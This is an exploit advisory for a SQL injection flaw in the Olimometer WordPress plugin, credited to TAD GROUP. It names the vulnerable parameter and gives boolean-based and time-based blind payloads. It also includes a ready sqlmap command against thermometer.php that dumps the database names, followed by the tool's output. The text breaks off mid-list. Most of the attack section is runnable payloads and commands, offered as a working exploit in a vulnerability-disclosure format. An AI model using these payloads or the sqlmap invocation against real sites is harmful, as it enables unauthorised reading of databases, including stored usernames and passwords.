# Exploit Title: Olimometer Plugin for WordPress a Sql Injection # Date: 14/11/2016 # Exploit Author: TAD GROUP # Vendor Homepage: https://wordpress.org/plugins/olimometer/ # Software Link: https://wordpress.org/plugins/olimometer/ # Contact: info@tad.bg # Website: http://tad.bg <https://tad.bg/en/> # Category: Web Application Exploits # Tested on: Debian 8 1 - Description # Vulnerable parameter: olimometer_id= Parameter: olimometer_id (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: olimometer_id=1 AND 6227=6227 Type: AND/OR time-based blind Title: MySQL >= 5.0.12 AND time-based blind Payload: olimometer_id=1 AND SLEEP(5) Using GET SQL Method with the "olimometer_id" parameter, we were able to get the database name from the EXAMPLE.COM website . By further running SQL Map using different arguments, we would be able to get the complete database, including usernames and passwords if there are such. 2. Proof of Concept Using the website EXAMPLE.COM for example, we can fire up sqlmap and set the full path to the vulnerable parameter: root@kali:~# sqlmap -u http://EXAMPLE.COM/wp-content/plugins/olimometer/thermometer.php?olimometer_ id=1 --dbs --threads=5 --random-agent --no-cast --- Parameter: olimometer_id (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: olimometer_id=1 AND 6227=6227 Type: AND/OR time-based blind Title: MySQL >= 5.0.12 AND time-based blind Payload: olimometer_id=1 AND SLEEP(5) --- [11:14:21] [INFO] the back-end DBMS is MySQL web application technology: Nginx back-end DBMS: MySQL >= 5.0.12 [11:14:21] [INFO] fetching database names [11:14:21] [INFO] fetching number of databases [11:14:21] [INFO] retrieved: [11:14:21] [WARNING] multi-threading is considered unsafe in time-based data retrieval.

Type of vulnerability: An SQL Injection vulnerability in Olimometer allows attackers to read arbitrary data from the database. 4. Exploitation vector: The url parameter 'olimometer_id=' of the /wp-content/plugins/olimometer/thermometer.php?olimometer_id=1 is vulnerable to SQLI. 5. Attack outcome: An attacker can read arbitrary data from the database. If the webserver is misconfigured, read & write access the filesystem may be possible. 6. Impact: Critical 7.
